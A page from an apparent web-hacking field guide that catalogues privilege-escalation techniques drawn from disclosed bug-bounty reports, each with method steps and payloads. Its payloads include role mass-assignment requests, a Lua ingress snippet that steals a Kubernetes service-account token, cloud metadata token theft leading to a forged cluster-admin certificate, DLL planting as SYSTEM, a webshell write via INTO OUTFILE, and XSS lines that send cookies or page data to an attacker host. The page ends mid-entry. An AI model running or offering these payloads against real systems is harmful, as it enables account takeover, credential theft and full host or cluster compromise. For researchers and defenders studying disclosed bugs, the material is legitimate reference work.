⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Privilege Escalation
Vulnerabilities

Privilege Escalation

§Basic information

Privilege escalation is any path from the access you were granted to access you were not. The app already trusts you a little — a low-priv member, a scoped token, a namespaced tenant, an unprivileged local user — and escalation converts that foothold into control of the tenant, the instance, or the host. It splits into vertical (low role → admin/root/cluster-admin) and horizontal-to-vertical (a bot/service identity minted on your behalf inherits more than you have).

The mechanism is almost always a missing or wrong authorization check on a boundary you can reach: a route gated on "has any permission" instead of the specific one, a privilege attribute bound straight from a request body, a token that survives its own "removal", a privileged file-writer that follows your symlink. The job is to enumerate every boundary between what you hold and what you want, then probe each one — hidden UI is never access control.

§Methodology

  1. Map your effective privileges — enumerate the roles, scopes, and OS/cloud identities you actually hold, and list every action one tier above you (admin routes, other tenants' objects, SYSTEM/root files).
  2. Force-browse the hidden management surface with your low-priv session — /admin, /setup, /start, /install, RBAC/group-management routes, and their .json siblings. A hidden menu link does not mean an enforced check.
  3. Run the A → B → A test. Capture a request as a high-priv user (B), replay it verbatim with your low-priv session/token (A). If it still authorizes, that's vertical escalation.
  4. Fuzz for privilege attributes. Add role/permission fields the form never showed you (role, is_admin, bbp-forums-role, permissions) and see if they stick on the next read (mass-assignment).
  5. Trace every auto-provisioned identity — API tokens, project/CI bots, integration scripts, cloud roles. Test whether the machine account's effective scope exceeds the principal that created it.
  6. Confirm revocation actually revokes. After "removing" a role or restricting a token, replay the old token/session — broken revocation leaves orphaned privileged rows.
  7. On a host, watch a privileged process (ProcMon / strace) and note every DLL it loads by bare name and every file it writes into a user-writable dir — those are your plant/redirect primitives.
▸ TIP
The single highest-yield probe is force-browsing management routes with a low-priv cookie. Programs hide the menu and forget the route authorizes on "has some permission" rather than the specific permission (#605720). Always diff .json endpoints too — they leak ids and permission maps to read-only roles.

§Escalation vectors

Pick the vector that matches your surface; each has its own confirm-and-weaponize primitive.

RBAC routes & forced browsing

The UI hides an admin/group-management link, but the route is live and authorizes on "has any valid permission" instead of the specific one. Browse to it with a single low-priv permission and edit your own group's permission set upward.

# Menu hidden, route live — authorizes on "any permission", not "User/Group Management" (#605720) GET /YOUR_TEAM/groups HTTP/1.1 Host: TARGET Cookie: session=<LOW_PRIV> # then use the group-edit form to add "Admin" to your own group GET /YOUR_TEAM/groups.json HTTP/1.1 # leaks ids/permissions to readonly members

Setup/bootstrap/first-run endpoints are a sub-case: often left live after install and gated more loosely than normal admin routes.

# GHES bootstrap endpoint reachable by editor/operator, resets site-admin password (#2197796, CVE-2023-46647) POST /start HTTP/1.1 Host: TARGET:8443 Cookie: session=<EDITOR> # body sets/rotates admin credentials + license

Mass-assignment of a role attribute

A registration or profile endpoint reads a role/permission field straight from request input. Set it to the highest value. Chained through a privileged victim's browser (no CSRF token), it becomes a one-click escalation.

# Role bound from a user-controlled POST param, no CSRF (bbPress, #2999394) POST /wp-login.php?action=register HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded user_login=evilpen&user_email=attacker@COLLAB&action=register&bbp-forums-role=bbp_keymaster
# Generic canary — add attributes the form never showed you, then re-read /users/me PATCH /api/users/me HTTP/1.1 Host: TARGET Content-Type: application/json {"role":"admin","is_admin":true,"permissions":["*"]}
● NOTE
When the app explicitly blocks the direct dangerous action (self-assign admin), pivot through an intermediate role that grants a scripting/automation primitive — a bot role that permits an integration/webhook whose server-side script runs in app context and calls Roles.addUserRoles(you, "admin") indirectly (#501081). The deny only covered the front door.

Self-modifying credentials & broken revocation

A scoped/least-privilege token that can still reach the endpoint that manages tokens is not restricted — it re-scopes itself. Likewise a token that stays authorized after the visible membership is "removed".

# Filesystem-restricted app token PUTs a wider scope onto itself; brute-force ID (no throttle) (#1193321) PUT /settings/personal/authtokens/ID HTTP/1.1 Host: TARGET requesttoken: <CSRF> Content-Type: application/json {"scope":{"filesystem":true}}
# Captured Authorization token keeps admin power after membership set to None (#1596663) POST /api/v2.0/accounts/<id>/invitations HTTP/2 Host: TARGET Authorization: <CAPTURED_TOKEN> Content-Type: application/json {"data":{"recipient_email":"VICTIM","type":"ADMIN"}}

Bot / service identity inheritance

Identities auto-provisioned on behalf of a restricted principal frequently default to a higher privilege than that principal. Mint one, then measure its real scope.

# External user made Maintainer mints a project token whose backing bot is INTERNAL (#1193062) curl -H "Authorization: Bearer TOKEN" "https://TARGET/api/v4/projects" # lists internal projects curl -H "Authorization: Bearer TOKEN" \ "https://TARGET/api/v4/projects/19/repository/blobs/<sha>/raw" # reads internal source

Impersonation / "sudo" session theft

Support-login / impersonate features must never let the impersonated user see or reuse the elevated session. Where the impersonation session surfaces in the victim's own Active Sessions, they copy it, plant it, and hand themselves back the admin.

// Copy the admin's impersonation session id from YOUR Active Sessions, smuggle it in, // then click "Stop impersonating" to land on the admin account (#493324) document.cookie = "_gitlab_session=<impersonation_session_id_from_active_sessions>"; // refresh -> you are in the impersonation session -> "Stop impersonating" -> admin

Settings / config-channel hijack

A "benign" settings permission that controls an out-of-band channel (SMTP, notifications, webhooks) is equivalent to account takeover of everyone, because it intercepts password-reset and invite mail.

# MODIFY_SETTINGS repoints outbound SMTP to an attacker relay; capture every reset/invite email (#2279010) # Settings > Email: set SMTP host/port/creds to an attacker-controlled relay, save. # Trigger (or wait for) any password reset -> the link arrives in the attacker's SMTP logs -> ATO.

Cloud IAM & Kubernetes

The escalation sinks are wildcard IAM grants, tenant-supplied config rendered into a privileged runtime, and readable secret/state stores reachable from a pod.

# Over-permissive role shipped by a serverless/sample app (#2808412) aws iam list-attached-role-policies --role-name <fn-role> # Red flag: {"Effect":"Allow","Action":"sts:AssumeRole","Resource":"*"} or AdministratorAccess aws sts assume-role --role-arn arn:aws:iam::<any-acct>:role/<any> --role-session-name x
-- ingress-nginx server-snippet runs Lua as the controller SA; exfil its token (#1249583, #1382919) nginx.ingress.kubernetes.io/server-snippet: | set_by_lua $token 'local f=io.open("/run/secrets/kubernetes.io/serviceaccount/token") if not f then return nil end local c=f:read"*a"; f:close(); return c'; location = /token { content_by_lua_block { ngx.say(ngx.var.token) } } -- then: curl -H 'Host: any' https://INGRESS/token -> SA can list secrets in every namespace
# kOps/GCE: pod -> node metadata SA token -> state-bucket CA key -> forge a system:masters cert (#1842829) wget --header 'Metadata-Flavor: Google' \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O tok export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq -r .access_token tok) gcloud storage cat gs://STATE/CLUSTER/pki/private/kubernetes-ca/keyset.yaml \ | yq e '.spec.keys[0].privateMaterial' - | base64 -d > ca.key cfssl gencert -ca=ca.pem -ca-key=ca.key csr.json | cfssljson -bare user # CN group system:masters

Windows / Linux local privilege escalation

The recurring primitives are bare-name DLL loads with a writable PATH dir, and privileged writes into a user-writable dir redirected with a junction/symlink onto a phantom-DLL or auto-run path.

# Windows: service loads a DLL by bare name; a writable PATH dir shadows it -> code as SYSTEM (#921675) # ProcMon filter: Result = NAME NOT FOUND, Path ends with .dll -> that's the DLL to plant copy payload.dll C:\Python38\CSUNSAPI.dll # C:\Python38 is on PATH and user-writable # Arbitrary-write variant: junction+object-manager symlink redirects a privileged log-write (#945122, #980500) CreateSymlink.exe C:\ProgramData\App\logs\svc.log C:\Windows\system32\WptsExtensions.dll
-- DB file-emitting statement skips the FILE privilege -> arbitrary write as the engine OS user (#3780695) SELECT '<reverse-shell / webshell content>' INTO OUTFILE '/var/www/html/x.php';

§Bypasses

Filter / controlBypassSeen in
Hidden UI menuForce-browse the live route; authz checks "any permission", not the specific one#605720
Direct self-assign-admin blockedPivot through an intermediate bot role granting server-side scripting → call the privileged API#501081
Scoped-token restrictionThe token reaches the token-management endpoint and PUTs its own scope; brute-force IDs (no throttle)#1193321
Membership "revoked"Captured Authorization token stays valid after membership set to None (broken revocation)#1596663
Admin-only setup routeBootstrap POST /start shared with editor/operator roles resets the admin password#2197796
Blacklist capability checkshop_manager blocked only from administrator, so it assigns any other role → XSS → admin#403039
Symlink guard on file restoreVendor blocks NTFS symlinks but not directory junctions; a junction redirects the write#980500
SeCreateSymbolicLink neededDirectory-junction + \RPC Control object-manager symlink needs no symlink privilege#945122
Signed-app injection guardXPC helper checks code signature but not version → inject into an old signed build#966494
DB FILE WRITE privilegeSELECT ... INTO OUTFILE never enforces it → arbitrary write as the engine OS user#3780695
Canonicalization check vs usePolicy getCanonicalPath() resolves ../ (trusted) while the loader treats it as a literal JAR entry#3452696
▲ WARNING
"Read-only" and "settings-only" permissions are not low-impact by default. A settings role that repoints SMTP intercepts every password reset (#2279010); a read-only role that can list cluster secrets is near cluster-admin (#1249583). Rate the permission by what it can reach, not by its name.

§Escalation & impact

Escalation is usually the tail of a chain that ends at total control:

Host-level primitive catalogue (Windows/Linux LPE variants)

DLL search-order / writable-PATH hijack of SYSTEM services (#921675, #959608, #924493, #1008427, #963103); MSI repair msiexec /fa drops a DLL in %TEMP% loaded by auto-elevated MsiExec (#1071832); unquoted service path (#1083532); junction/symlink-redirected privileged file write → phantom DLL / Startup (#945122, #980500, #1075449) and file delete (#959815, #996576, #983363); world-writable log + symlink read of privileged files (#1872682); logrotate/umask TOCTOU races → root (#578119, #1690093); OpenSSL insecure OPENSSLDIR / engine config → DLL injection (#683318, #944735, #2091137); macOS world-writable LaunchDaemon (#908162); UAC bypass via hijackable HKCU protocol handler (#530292); signed-but-old XPC helper injection (#966494).

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 88 in this class.

Real-world example

Admin impersonation session leaks into victim's Active Sessions -> steal it -> Stop Impersonating = admin

◆ Critical
Specimen #493324 · gitlab · awarded · 256 votes · resolved
Program gitlabSurface webChain admin impersonates attacker -> attacker reads impersonatiTag account-takeover

Root cause

When an admin impersonates a user, the impersonation session appears in the impersonated user's Active Sessions list; the user can copy that session id, set it as their own _gitlab_session cookie, and click 'Stop impersonating' to be handed back the admin's original session.

Method

  1. As attacker, revoke all your sessions except the current one so the new one is easy to spot.
  2. Get an admin to impersonate your account (social-engineered 'something is broken' support request).
  3. Refresh Active Sessions; the admin's impersonation session now appears - copy its session id from the Revoke button.
  4. Clear your cookies, set document.cookie='_gitlab_session=<copied>', refresh (you are now in the impersonated session), then click 'Stop impersonating' to become the admin.
document.cookie = "_gitlab_session=<impersonation_session_id_from_active_sessions>"; // refresh, then click 'Stop impersonating' -> lands on the admin account

Insight — Impersonation/support 'sudo' features are privilege-escalation traps: the impersonated user must never be able to see or reuse the elevated session. Check whether Active Sessions / device lists expose staff-initiated sessions, and whether 'stop impersonating' rebinds to the higher-priv identity.

Real-world example

Guest to admin via manage-own-integrations script gadget

◆ Critical
Specimen #501081 · rocket_chat · none · 59 votes · resolved
Program rocket_chatSurface webChain guest -> add self to bot role -> author integration scTag account-takeover

Root cause

insertOrUpdateUser only blocks directly self-assigning the admin role; it does not stop a user from adding themselves to an intermediate role (bot) whose permissions can then be leveraged to escalate. Server-side integration scripts run in application context and can call privileged APIs.

Method

  1. Log in as a guest and read own user _id from the realtime/DDP traffic
  2. Call insertOrUpdateUser to add yourself to the 'bot' role (holds manage-own-integrations)
  3. Create a custom incoming Integration whose script calls Roles.addUserRoles(<your_id>,'admin')
  4. Trigger the integration to gain the global admin role
# Step 1: add self to bot group (DDP method call) ["{\"msg\":\"method\",\"method\":\"insertOrUpdateUser\",\"params\":[{\"_id\":\"<USER_ID>\",\"roles\":[\"user\",\"bot\"]}],\"id\":\"17\"}"] // Step 2: malicious integration script this.Roles.addUserRoles("<USER_ID>", "admin") class Script { process_incoming_request({ request }) {}; }

Insight — When an app blocks the direct dangerous action (self-assign admin), look for an intermediate role/permission that grants a scripting/automation primitive (integrations, webhooks, workflows) whose execution context can reach the same privileged API indirectly.

Real-world example

Oracle APEX page enumeration lands on admin-granting page

◆ Critical
Specimen #1991290 · deptofdefense · none · 28 votes · resolved
Program deptofdefenseSurface web

Root cause

An Oracle APEX app exposed pages via f?p=APP:PAGE; a specific page invoked a login_admin procedure that redirected to the protected admin page while establishing a valid admin session, so directly requesting that page number escalated any user to admin.

Method

  1. Identify an Oracle APEX app (URL pattern f?p=<app>:<page>)
  2. Confirm the admin page (e.g. :45) is blocked for normal users
  3. Enumerate page numbers; request the page that calls the admin login procedure (e.g. :56)
  4. It redirects to :45 with a valid admin session; user management is now accessible
https://TARGET/apexcrrel/f?p=165:56 # calls DISDI_PORTAL_DEV.login_admin # -> redirects to f?p=165:45 with admin session

Insight — Oracle APEX apps are page-number addressable (f?p=app:page). Enumerate page numbers and look for pages wired to privileged procedures (login_admin, set_role). Authorization is per-page and frequently missing on helper/redirect pages.

Real-world example

Chained ATO: MD5 known-plaintext 2FA bypass + PHP array-param template smuggling + CSS-class privilege escalation

◆ Critical
Specimen #887700 · h1-ctf · none · 9 votes · resolved
Program h1-ctfSurface webChain recon(.git leak)->cred leak->MD5 2FA bypass->array-Tag account-takeover

Root cause

Multiple weak trust boundaries: a 2FA endpoint that trusts a client-supplied challenge_hash (MD5 of the answer), a PHP template loader that accepts array params so multiple templates render at once, and a staff panel that auto-clicks a CSS class from the URL location-hash (upgradeToAdmin) whose name can be injected via the profile avatar class.

Method

  1. Recover source via exposed .git/config -> public GitHub logger repo -> read base64 trace log leaking creds
  2. Login; defeat 2FA by replacing challenge_hash with the MD5 of a known/empty answer (d41d8cd98f00b204e9800998ecf8427e = md5 of empty)
  3. Reach admin-only auto-click by loading login+ticket templates together with template[]=login&template[]=ticket to smuggle a username field onto the page
  4. Inject the privileged CSS class name (upgradeToAdmin tab2) into the profile avatar so the URL #hash auto-click triggers the admin upgrade action
# 2FA bypass: force challenge_hash to md5 of a known/empty answer challenge_hash=d41d8cd98f00b204e9800998ecf8427e # md5('') # PHP array parameter smuggling: load two templates at once GET /?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2 # Client-side privesc: profile avatar class becomes an auto-clicked action class # set avatar class to: "upgradeToAdmin tab2" (JS auto-clicks element matching location.hash class)

Insight — When a 2FA/challenge answer is verified against a client-supplied hash, submit the hash of a value you control (including md5 of empty). In PHP, param[]=a&param[]=b turns a scalar into an array and can smuggle extra logic/fields. Any UI where a URL fragment auto-triggers a named action + a place you can inject that name (class, id, attribute) is a client-side privilege escalation.

Real-world example

CSP bypass via raw.githack.com path decoding + headless-Chrome remote debug port (9222) for file access

◆ Critical
Specimen #779113 · h1-ctf · none · 7 votes · resolved
Program h1-ctfSurface webChain blind XSS -> CSP bypass (githack path decode) -> DOM/lTag cors

Root cause

A script-src that whitelists a path prefix on a proxy host (raw.githack.com) that URL-decodes its path allows escaping the allowed directory; and a PDF-rendering headless Chrome exposes its DevTools remote-debug port on localhost:9222, which grants file:// access to anyone who can inject an iframe/JS into the rendered page.

Method

  1. Find stored/blind XSS in a page rendered by headless Chrome (feedback/review, PDF converter via unsanitized name field)
  2. Bypass CSP script-src path-prefix whitelist using double-URL-encoded traversal on the trusted proxy host
  3. Exfiltrate DOM/location via window.location (works around connect-src) since fetch to external is blocked
  4. Inject an iframe to http://localhost:9222/json to enumerate DevTools targets, then read secret document/file via the debug interface
<!-- CSP script-src whitelists https://raw.githack.com/.../lib/ ; proxy URL-decodes the path --> <script src='https://raw.githack.com/mattboldt/typed.js/master/lib%252f..%252f..%252f..%252f..%252fATTACKER/playground/master/g2.js'></script> <!-- exfil despite restrictive default-src/connect-src --> <script>window.location='http://ATTACKER/'+window.location</script> <!-- reach headless Chrome DevTools remote debug port --> <iframe width=900 height=900 src="http://localhost:9222/"></iframe> <!-- then http://localhost:9222/json lists inspectable targets -> file:// / secret doc access -->

Insight — If a CSP whitelists a proxy/CDN host that decodes or rewrites its path (githack, jsdelivr-like), you can often traverse out of the allowed folder to load arbitrary JS. When a server renders your input in headless Chrome, probe localhost:9222 (default DevTools port) from injected JS/iframe - an open remote-debug port is a file-read / full-control primitive.

Real-world example

Path traversal in device 'Feature' API executes uploaded file as root

◆ Critical
Specimen #239719 · ui · awarded · 23 votes · resolved
Program uiSurface networkChain read-only account -> scp file -> path traversal in Fea

Root cause

A firmware config/Feature API takes an attacker-controlled path with no validation; a low-priv (operator/read-only) user uploads a file via scp then invokes the API with a traversal path pointing at their file, which the service executes with root privileges.

Method

  1. Log in with a non-privileged (operator/read-only) account that has SSH/scp access
  2. scp a malicious script to a writable location on the device
  3. Call the vulnerable 'Feature' API with a path-traversal value pointing at the uploaded file
  4. API executes the file as root -> full device compromise

Insight — On embedded/router firmware, config-import and 'feature/plugin' endpoints that reference a filesystem path are prime local-privesc sinks: check whether a read-only account can write a file (scp/upload) and whether the path is validated before execution.

Real-world example

Hidden/undeletable admin via multi-role invites + token reuse

◆ High
Specimen #1596663 · reddit · awarded · 185 votes · resolved
Program redditSurface apiChain duplicate multi-role invites -> hidden admin membership -Tag account-takeover

Root cause

The same email can be invited to one organization multiple times under different roles; accepting a second (Analyst) invite while already Admin creates a membership record invisible in the members list, and the account's still-valid Authorization token can perform admin actions (invite/remove) even after the visible membership is set to None.

Method

  1. Invite a controlled user as admin; accept
  2. Invite the same user again as Analyst; accept the second invite
  3. Capture that account's Authorization token from a billing request
  4. Owner sets the visible membership to None (appears removed)
  5. Replay invite requests with the captured token to keep inviting/removing users
POST /api/v2.0/accounts/<id>/invitations HTTP/2 Host: ads-api.reddit.com Authorization: <CAPTURED_TOKEN> Content-Type: application/json {"data":{"recipient_email":"<target>","type":"ADMIN"}}

Insight — Where the same identity can hold multiple memberships/roles in one org, membership rows and revocation often key on a single (role) record, leaving orphaned privileged rows. Test multi-role invites, then verify that removing the visible role actually invalidates the token/authz.

Real-world example

Bootstrap/setup endpoint reachable by non-admin console role

◆ High
Specimen #2197796 · github · awarded · 56 votes · resolved
Program githubSurface webChain editor -> post /start -> reset site-admin password -&g

Root cause

The GHES management-console Manage:App controller exposed post '/start' (used for instance bootstrapping) to editor and operator roles, not just site admins; it can change the license and reset the site-admin password, letting an editor escalate to site admin (CVE-2023-46647).

Method

  1. Authenticate to the management console with an editor (non-admin) role
  2. Send a request to the bootstrap endpoint post /start
  3. Reset the site-admin password / change license to gain full site-admin access
POST /start HTTP/1.1 Host: <ghes-mgmt-console>:8443 # management-console editor session # body sets/rotates admin credentials + license

Insight — Setup/bootstrap/first-run endpoints often remain live after install and are gated more loosely than normal admin routes. Enumerate /setup, /start, /bootstrap, /install with any low management role.

Real-world example

Over-permissive IAM role in AWS Serverless/sample apps (AssumeRole * / AdministratorAccess)

◆ High
Specimen #2808412 · aws_vdp · none · 55 votes · resolved
Program aws_vdpSurface cloudChain compromise/control function -> assume-role * -> any acTag cloud-aws

Root cause

A published serverless/sample application ships a Lambda execution role granted a wildcard privilege (sts:AssumeRole on '*', or AdministratorAccess); whoever controls or compromises the function inherits far more than it needs, enabling privilege escalation across the account/organization.

Method

  1. Deploy the app from AWS Serverless Application Repository / awslabs and inspect the created IAM role.
  2. Read the attached policies (CloudFormation template or IAM console) for wildcards: Action sts:AssumeRole Resource '*', or arn:aws:iam::aws:policy/AdministratorAccess.
  3. From the function context, call sts:AssumeRole into any role/account in the org (or act as admin) to escalate.
# Inspect deployed role aws iam list-attached-role-policies --role-name ExtractCarbonEmissionsFunctionRole aws iam get-policy-version --policy-arn <arn> --version-id v1 # Red flag: {"Effect":"Allow","Action":"sts:AssumeRole","Resource":"*"} # Abuse from function/compromised context: aws sts assume-role --role-arn arn:aws:iam::<any-acct>:role/<any> --role-session-name x

Insight — Audit IAM roles created by third-party CloudFormation/serverless apps and CDK stacks: AdministratorAccess and wildcard sts:AssumeRole are the classic escalation sinks. Replace with least-privilege, specific resource ARNs, and add a permissions boundary.

Real-world example

ingress-nginx snippet lua reads SA token; SA lists secrets cluster-wide

◆ High
Specimen #1249583 · kubernetes · awarded · 55 votes · resolved
Program kubernetesSurface cloudChain create ingress+service -> lua reads controller SA token -Tag cloud-aws

Root cause

ingress-nginx lets tenants add arbitrary nginx config via server-snippet/configuration-snippet annotations; a lua block reads the controller pod's service-account token and returns it. That SA can list secrets across all namespaces, so a namespaced user escalates to (near) cluster-admin.

Method

  1. As a user who can create ingress + service objects, add a server-snippet annotation with a lua block that reads /run/secrets/kubernetes.io/serviceaccount/token.
  2. Expose it at a location (e.g. /token) and fetch it (Host header can be forced if DNS doesn't resolve).
  3. Use the ingress-nginx SA token to `list secrets` in every namespace; extract other SA tokens to pivot toward cluster-admin.
  4. Optionally create a Service of type ExternalName -> kubernetes.default to proxy the kube-apiserver.
nginx.ingress.kubernetes.io/server-snippet: | set_by_lua $token ' local f = io.open("/run/secrets/kubernetes.io/serviceaccount/token") if not f then return nil end local c = f:read "*a"; f:close(); return c '; location = /token { content_by_lua_block { ngx.say(ngx.var.token) } } # then: curl -H 'Host: any' https://INGRESS/token

Insight — Any controller that (1) renders tenant-supplied config into a privileged runtime (nginx lua, templating) and (2) runs with a broad service account is a privesc engine. In k8s, check whether create-ingress/service is enough to reach a SA that can list secrets cluster-wide.

Real-world example

kOps/GCP pod -> metadata token -> state bucket -> forged system:masters cert

◆ High
Specimen #1842829 · kubernetes · awarded · 52 votes · resolved
Program kubernetesSurface cloudChain pod shell -> GCE metadata SA token -> state bucket CA Tag cloud-gcp

Root cause

kOps on GCE gives every node's default service account read access to the cluster state storage bucket. A user with shell in any pod queries the GCE metadata service for the node SA token, reads the CA private key from the state bucket, and forges a system:masters client certificate to become cluster-admin.

Method

  1. From a pod shell, hit the GCE metadata service for the node default SA token and the ConfigBase (state bucket).
  2. Use the token (CLOUDSDK_AUTH_ACCESS_TOKEN) to read pki/private/kubernetes-ca/keyset.yaml from the state bucket; extract CA key + cert.
  3. cfssl gencert a client cert with CN in group system:masters signed by the CA.
  4. Build a kubeconfig with the forged cert -> `kubectl auth can-i '*' '*' -A` -> cluster-admin.
  5. Schedule a pod on a control-plane node to grab the privileged GCP SA token and pivot into the GCP project.
wget --header 'Metadata-Flavor: Google' \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O tok export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq -r .access_token tok) gcloud storage cat gs://STATE/CLUSTER/pki/private/kubernetes-ca/keyset.yaml \ | yq e '.spec.keys[0].privateMaterial' - | base64 -d > ca.key cfssl gencert -ca=ca.pem -ca-key=ca.key csr.json | cfssljson -bare user # CN group system:masters

Insight — Cloud metadata + a readable state/secret store is a full cluster-takeover chain. Any pod shell should trigger: query metadata for node SA token, then see what buckets/secret stores that SA can read; CA private keys let you mint admin certs offline. Nodes should not have read access to CA material.

Real-world example

DLL hijacking via writable PATH directory (service loads DLLs as SYSTEM)

◆ High
Specimen #921675 · glasswire · awarded · 50 votes · resolved
Program glasswireSurface desktopChain writable PATH dir -> planted DLL loaded by service at boo

Root cause

GlassWire's service and GUI load DLLs by name without a fully-qualified path or signature verification, so the loader searches PATH; if any PATH directory is user-writable (common with Python/Java installs prepending dirs), a planted DLL is loaded — as SYSTEM by the service, as the user by the GUI.

Method

  1. Identify a writable directory that appears in the system PATH.
  2. Determine the DLL names the target binary loads (e.g. via ProcMon).
  3. Drop a malicious DLL of that name into the writable PATH dir.
  4. Start the service (boot) -> code runs as SYSTEM; GUI load -> persistence/lateral movement as other users.
# Enumerate writable PATH dirs, then plant one of the searched DLLs # e.g. swift.dll / CSUNSAPI.dll placed in C:\Python38\ (writable, on PATH) # ProcMon filter: Result = NAME NOT FOUND, Path ends with .dll

Insight — Any binary that loads DLLs by bare name is hijackable if PATH contains a writable dir. Enumerate writable PATH entries and use ProcMon 'NAME NOT FOUND' .dll lookups to find the missing DLL to plant; SYSTEM services turn it into local privesc.

Real-world example

SELECT ... INTO OUTFILE ignores FILE WRITE privilege

◆ High
Specimen #3780695 · singlestore · none · 44 votes · resolved
Program singlestoreSurface otherChain low-priv DB user -> arbitrary host file write as engine O

Root cause

SingleStore self-managed did not enforce the FILE WRITE privilege for SELECT ... INTO OUTFILE, so any authenticated user (even USAGE-only) could write arbitrary files to any path on the aggregator host as the engine OS user.

Method

  1. Connect as a low-privileged DB user (USAGE only)
  2. Run SELECT ... INTO OUTFILE to an arbitrary host path
  3. File is written as the engine OS user, at any path
  4. Escalate by writing to sensitive locations (config, cron, keys, webroot)
SELECT '<arbitrary content>' INTO OUTFILE '/path/on/aggregator/host'; -- executes without FILE WRITE privilege; written as engine OS user

Insight — On any DBMS, test file-emitting statements (INTO OUTFILE/DUMPFILE, COPY TO, lo_export, bulk export) as a minimally-privileged user - the file privilege check is often missing. Arbitrary write as the DB OS user is a direct path to RCE/priv-esc.

Real-world example

Scoped API token can rewrite its own scope

◆ High
Specimen #1193321 · nextcloud · 1000 · 39 votes · resolved
Program nextcloudSurface webChain Scoped token -> self-rescope to full filesystem -> fulTag account-takeover

Root cause

A filesystem-restricted app token is still authorized to call the token-management endpoint and PUT a new scope onto itself (or delete other tokens), so the scoping restriction is self-removable.

Method

  1. Create an app token restricted from filesystem access.
  2. Authenticate to WebDAV with username + that token.
  3. Obtain a CSRF token.
  4. Send PUT /settings/personal/authtokens/{ID} changing the scope; iterate ID (no rate limiting) since you cannot read your own token id.
PUT /settings/personal/authtokens/ID HTTP/1.1 Host: TARGET requesttoken: {CSRF} Content-Type: application/json {"scope":{"filesystem":true}}

Insight — A restricted credential that can reach the endpoint managing credentials is not actually restricted. Always test whether a scoped/least-privilege token can escalate itself via the token/settings API, and whether object IDs are brute-forceable (no throttling).

Real-world example

Post-type privilege escalation via nonce-scope logic flaw

◆ High
Specimen #404323 · wordpress · awarded · 38 votes · resolved
Program wordpressSurface web

Root cause

The post-creation flow validated a nonce for the requested action but let the author control the post_type independently, so a low-privileged author could create posts of unauthorized types without possessing that type's corresponding nonce/capability check (fixed in WP 5.0.1).

Method

  1. As an author, submit the post-create request with a controlled post_type value not permitted to that role
  2. The nonce/capability check does not bind to the chosen post_type
  3. Server creates the privileged post type (privesc)
post create request with attacker-set post_type=<unauthorized type> (nonce checked for generic action, not for the type)

Insight — When a nonce/CSRF token or capability check is scoped to an action but a separate parameter selects the sensitive object/type, verify the check actually binds to that parameter. Type/role/target selectors decoupled from the authorization token are a recurring privesc source. (Details: blog.ripstech.com WordPress post-type privilege escalation.)

Real-world example

Symlink/junction-following privileged file write -> DLL hijack -> SYSTEM

◆ High
Specimen #945122 · acronis · awarded · 38 votes · resolved
Program acronisSurface desktopChain arbitrary file write -> phantom/hijackable DLL plant ->Tag file-upload

Root cause

A SYSTEM/privileged Windows service writes to a low-integrity, attacker-controllable directory (its log/temp file) without verifying the destination, so a low-priv user replaces that dir/file with a directory-junction+object-manager symlink and redirects the privileged write to an arbitrary protected path.

Method

  1. Find a file/dir a privileged service writes to that a normal user can delete/empty (e.g. C:\ProgramData\...\logs\service.log)
  2. Empty the dir so it can be converted to a junction
  3. Create junction+symlink to the target protected path with Project Zero symboliclink-testing-tools (CreateSymlink.exe)
  4. Trigger the privileged write (add a log line, or reboot) so the service writes/creates the target file (grants EVERYONE control)
  5. Plant a hijackable DLL (e.g. C:\Windows\system32\WptsExtensions.dll loaded by Task Scheduler) with payload; reboot -> code runs as SYSTEM
CreateSymlink.exe C:\ProgramData\Acronis\SyncAgent\logs\syncagent.log C:\Windows\system32\WptsExtensions.dll

Insight — Any privileged service that writes to a user-writable log/temp location is an arbitrary-file-write primitive: redirect it with an NTFS junction + \RPC Control object symlink, then chain to a known phantom-DLL (WptsExtensions.dll etc.) for SYSTEM. Look at ProcMon for privileged CreateFile/WriteFile into world-writable paths.

Real-world example

Blacklist-only capability check lets shop_manager assign any non-admin role -> XSS -> admin

◆ High
Specimen #403039 · automattic · awarded · 28 votes · resolved
Program automatticSurface webChain shop_manager -> assign editor -> stored XSS -> admi

Root cause

WooCommerce's map_meta_cap filter only blocks a shop_manager from editing/creating ADMIN users; because it is a blacklist, the shop_manager retains edit_users and can assign any other role (e.g. editor) to accounts, then escalate through that role's capabilities.

Method

  1. Compromise/own a shop_manager account (has edit_users)
  2. Set a low-value user (a customer) to role 'editor' and change its password
  3. Log in as that editor and publish a post carrying a stored-XSS payload
  4. Admin views it -> XSS runs in admin context -> full compromise
// shop_manager: promote customer to editor (allowed - not 'administrator') // then as editor create post with: <img src=x onerror=fetch('//COLLAB/?c='+document.cookie)>

Insight — Role/capability guards written as blacklists ('deny if target is admin') leave every non-admin role assignable. Enumerate which roles a mid-tier admin can grant and pivot through the most capable one (editor -> unfiltered_html -> stored XSS -> admin).

Real-world example

MSI repair (msiexec /fa) drops DLL in %TEMP% loaded by auto-elevated MsiExec -> SYSTEM

◆ High
Specimen #1071832 · acronis · USD 250 · 25 votes · resolved
Program acronisSurface desktopChain user msiexec /fa -> %TEMP% DLL hijack -> nt authority\

Root cause

World-readable cached MSIs in C:\Windows\Installer can be repaired by any user (msiexec /fa); the repair stages a DLL in the user-writable %TEMP% which the auto-elevating MsiExec then loads, giving SYSTEM (an 'installer repair' / FilesInUse-style LPE).

Method

  1. Enumerate cached MSIs in C:\Windows\Installer (identify the vendor one by author/size)
  2. Run msiexec /fa <cached.msi> to force a repair
  3. Watch %TEMP%\<random> for a DLL the repair creates and replace it with your DLL
  4. MsiExec (auto-elevated) loads it -> SYSTEM
msiexec /fa C:\Windows\Installer\<vendor_installer>.msi # then replace %TEMP%\<random>\schedule.dll with malicious schedule.dll

Insight — Cached MSIs are a recurring LPE surface: any user can trigger /fa repair, and repairs that reference DLLs/custom actions from user-writable temp are hijackable by auto-elevated MsiExec. Test every vendor MSI in C:\Windows\Installer for temp-DLL loads under ProcMon.

Real-world example

Env-var injection into setuid/capability process via broken CAP_NET_BIND_SERVICE exception

◆ High
